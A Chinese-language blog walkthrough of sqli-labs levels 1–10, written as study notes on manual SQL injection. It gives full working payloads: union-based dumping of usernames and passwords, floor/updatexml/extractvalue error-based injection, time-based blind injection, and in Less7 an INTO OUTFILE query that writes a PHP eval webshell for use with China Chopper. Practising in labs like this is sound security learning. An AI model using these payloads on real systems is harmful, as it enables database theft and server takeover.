种一棵树最好的时间是10年前,其次是现在。

忘了是谁

前言

说实话,由于前段时间学 python ,对于 OWASP TOP10 漏洞的学习都有所落下,虽然现在也在慢慢复习当中,但是今晚谈及的 SQL 注入漏洞手动注入和自动化(sqlmap)注入的一些知识时,不免有些语塞,有些命令都已经开始淡忘,想想得补一补,于是就打算拿 sqli-labs 这个SQL 注入专属练习靶场来重温一下,顺便把之前写得博文搬到公众号上来。

猪(鄙夷的目光):文字的搬运工。。。

匠(挠挠头):后续对于这个靶场的自动化(sqlmap)注入姿势也总结一下吧,顺便复习一下 sqlmap 。

环境准备

phpstydy

firefox 浏览器

HackBar 插件

sqli-labs 源码

sublime

中国菜刀

hackbar 插件新版的要钱,可以去下载旧版的,或者有其他替代品,功能也差不多

less1

源码分析

  1. 采用 get 方法接收用户输入

  2. 单引号闭合参数

  3. 参数拼接 sql 语句进行数据库查询

漏洞利用

01

查看数据表列数 

猜测列数为 3 ,回显正常

index.php?id=1' order by 3 --+

猜测列数为 4 ,出现错误,说明当前数据表列数为 3 。

02

union查询

MySQL5.0 之后有一个 information_schema 数据库

查看回显位,可以得知数字 2 和 3 可以回显。

index.php?id=0' union select 1,2,3 --+

利用回显位查看数据库相关信息

index.php?id=0' union select 1,version(),database() --+

爆出 security 的所有表

index.php?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+

查看 users 表下的所有列

index.php?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() --+

查看 users 表下的所有数据

index.php?id=0' union select 1,(select group_concat(username,'-') from security.users),(select group_concat(password) from security.users) --+

less2

源码分析

  1. 直接获取用户输入

  2. sql 语句拼接

漏洞利用

和 Less1 相比就是在进行 sql 语句拼接的时候没有对参数进行单引号引用。思路和 Less1 一样,就是不用闭合单引号和注释后面无关内容而已。

01

union注入

index.php?id=0 union select 1,2,3

less3

源码分析

  1. 直接说去用户输入

  2. 拼接 sql 语句时将参数用单引号+括号进行引用

漏洞利用

对单引号和括号进行闭合即可,同时使用注释符将无用部分注释掉,注入思路和 Less1 一样。

01

union注入

index.php?id=0') union select 1,2,3 --+

less4

源码分析

  1. 直接获取用户输入

  2. 对参数进行双引号+括号引用

漏洞利用

对双引号和括号进行闭合,注入思路和 Less 1 一样。

less5

源码分析

  1. 直接获取用户输入

  2. 对参数进行单引号引用

  3. 没有数据回显

  4. 有错误信息回显

漏洞利用

01

报错注入

报错注入会涉及三个函数 floor、updatexml、extractvalue。

MySQL_v5.0.96 还有 floor 报错注入,高版本的没有。

MySQL 5.1.5 版本种添加了对 XML 文档进行查询和修改的两个函数:extractvalue 和 updatexml 。

三个函数的运用格式如下:

floor

select 1 from (select count(*), concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a

updatexml

updatexml(1,concat(0x7e,(database()),0x7e),1)

extractvalue

extractvalue(1,concat(0x7e,(database()),0x7e))

这里主要拿 floor 函数来做演示。可以拆分为几部分方便记忆。

select 1 from( i )ai = select count(*),concat( j )x from information_schema.tables group by xj = payload,floor(rand(0)*2)

显示当前数据库

index.php?id=0' and (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

显示当前数据库下所有表,这里使用 group_concat() 显示所有表,出现错误 “信息超过一行” 。

index.php?id=1' and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

使用 limit 一个一个显示出来。

ps: 这里的 limit 0,1 代表第一个数据;limit 1,1 代表第二个数据

index.php?id=1'and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

less6

源码分析

  1. 直接获取用户输入

  2. 双引号应用参数

  3. 没有数据信息回显

  4. 有错误信息回显

漏洞利用

相比于 Less 5,这里的参数用双引号引用,注意双引号闭合,注释符的使用即可,解题思路和 Less 5 一样。

less7

源码分析

  1. 直接获取用户参数

  2. 用双括号+双引号引用参数

  3. 没有数据信息回显

  4. mysql_error()函数被注释

漏洞利用

页面提示我们 outfile 命令写入木马文件

这种方法的关键之处在于知道网站在系统的绝对路径和能够找到写入文件的路径,之后用菜刀进行连接。

注:反斜杠 \ 是转义字符,这里使用双反斜杠 \\ 表示反斜杠;也可以使用正斜杠 / 代替反斜杠;也开始使用 r 将引号里面的内容定义为字符串,如:r"C:\\phpStudy2013\\WWW\\script.php"

index.php?id=-1')) union select 1,"<?php  @eval($_POST['pass']);?>",3 into outfile "C:\\phpStudy2013\\WWW\\script.php" --+

之后访问上传的一句话文件。

使用菜刀连接

less8

源码分析

  1. 直接获取用户参数

  2. 单引号引用参数

  3. 没有数据信息回显

  4. 也没有错误信息回显

漏洞利用

01

时间盲注

没有错误信息回显,那报错注入的方法就行不通,可以试一试时间盲注。

判断时间盲注的方法先是id=1' or sleep(1) # ,如果延时则存在延时注入

时间盲注的格式如下:

if((判断条件),(条件为 true 时执行),(条件为 false 执行))

if(ascii(substring(database()),1,1)=115,sleep(1),1)

猜测当前数据库,若当前数据库的第一个字母的 ASCII码大于0,则延时5秒。

index.php?id=1' and if(ascii(substring(database(),1,1))>0,sleep(5),1) --+

猜测得出第一个字母位's',ascii(s) = 115

index.php?id=1' and if(ascii(substring(database(),1,1))=115,sleep(5),1) --+

以此类推去猜,费劲,一般报错注入/时间盲注这些比较费时的操作都交给 sqlmap 去自动化注入比较省事。

less9

源码分析

  1. 直接获取用户输入

  2. 单引号引用,参数拼接

  3. 没有数据回显

  4. 没有错误信息回显

漏洞利用

时间盲注,注意单引号闭合,思路和 Less 8 一样。

less10

源码分析

  1. 直接获取用户参数

  2. 双引号引用参数进行 sql 语句拼接

  3. 没有数据回显

  4. 没有错误信息回显

漏洞利用

时间盲注,注意双引号的闭合,注入思路和 Less 8 一样。

尾声

我是匠心,一个在清流旁默默磨剑的匠人,希望有一天能利刃出鞘,仗剑走江湖。

好文!必须在看

留言区

注入双括号报错注入_SQL手动注入:sqlilabs(less110)相关推荐

  1. sql注入 1-1_基于报错的注入

    sql注入 1-1_ 基于报错注入 1.判断是否存在报错注入 通过 id =1 可以看到服务器返回正常页面 通过 id=1 and 1=1 通过 id=1 and 1=2 服务器也返回正常 通过 id ...

  2. 利用sql报错帮助进行sql注入

    我们可以利用sql报错帮助进行sql注入,这里以sql server 为例: sql查询时,若用group by子句时,该子句中的字段必须跟select 条件中的字段(非聚合函数)完全匹配,如果是se ...

  3. SQL注入之floor报错注入

    SQL注入之floor报错注入 原理 一.count()函数.group by 二.floor()函数 三.rand()函数 四.报错初体验 五.报错注入 1.获取当前数据库 2.获取当前用户 六.靶 ...

  4. 已解决Python向数据库插入数据的字符串中含有单引号或双引号报错

    已解决Python向数据库插入数据的字符串中含有单引号或双引号报错:(102, b"Incorrect syntax near 'S'.DB-Lib error message 20018, ...

  5. 搭建Mysql双主双从报错The slave I/O thread stops because master and slave have equal MySQL server UUIDs(已解决)

    搭建Mysql双主双从报错The slave I/O thread stops because master and slave have equal MySQL server UUIDs 具体问题 ...

  6. CentOS配置双网卡以及双网卡报错处理

    设置两个网卡,先在外面添加网卡 添加完成网卡,使用ifconfig去查看配置,可以看出来ens33为网卡一,而ens37为网卡二,网卡二的IP没有. 使用cd /etc/sysconfig/netwo ...

  7. mysql中文注入_SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

  8. mysql报错注入原理,MySQL报错注入

    什么是报错注入 SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果可以出现在错误信息中.我一位好友的博客写过一个SQL注入的专栏,除了报错注入以外,别的类型也写了,而且比较详细, ...

  9. SQL注入攻击(SQL注入(SQLi)攻击)-报错注入

    页面没有显示位 , 但有数据库的报错信息时 , 可使用报错注入 报错注入是最常用的注入方式 , 也是使用起来最方便(我觉得)的一种注入方式 updatexml(1,'~',3); 第二个参数包含特殊字 ...

最新文章

  1. 基于RT-Thread开发智能视觉组智能车-乐山师范学院
  2. 高矮不同的人排队问题
  3. ASP.NET Core 2.2 基础知识(十四) WebAPI Action返回类型(未完待续)
  4. protel布线需要注意事项
  5. 抽象类和接口设计_如何设计类和接口
  6. 安装服务器系统大概多久,安装服务器系统
  7. 使用Angular和ASP.net Core的Raw Websockets迷你游戏
  8. 大学计算机二级的试题,大学计算机二级考试试题及其答案_..doc
  9. WPF使用Prism框架
  10. 《钢构CAD》不断致力于帮助用户取得更多成就
  11. Docker技术之容器与外部相连
  12. numpy使用np.dot函数或者@操作符计算两个numpy数组的点积数量积(dot product、scalar product)
  13. 胡谈编程语言:从C语言到Julia
  14. Violent python - UNIX Password CrackerZipfile Password Cracker
  15. 微信小程序开发:Java后台MySQL数据库微信小程序页面
  16. matlab绘图崩溃,重新采用硬件加速绘图
  17. 从人力资源管理的角度看孙悟空大闹天宫
  18. 旋钮编码器c代码_旋转编码器EC11驱动
  19. 名词从句:主语从句、宾语从句、表语从句、同位语从句
  20. python树状图可视化_如何可视化(树状图)一个层次项目字典?

热门文章

  1. 库卡机器人CELL程序解析
  2. 谷歌浏览器外贸版_做外贸快两个月,没有单怎么办?
  3. linux java usb 串口_2019-11-02 Linux下USB-串口的使用
  4. b树与b+树的区别_一文详解 B-树,B+树,B*树
  5. JAVA实验报告九异常处理_JAVA实验报告_Java异常处理
  6. JDBC原理之层次结构
  7. Kalman Filter
  8. Luogu 4721 【模板】分治 FFT
  9. HTML5新特性-自定义属性(data-set)
  10. Cocos2d-x v3.0物理系统 利用PhysicsEditor创建多边形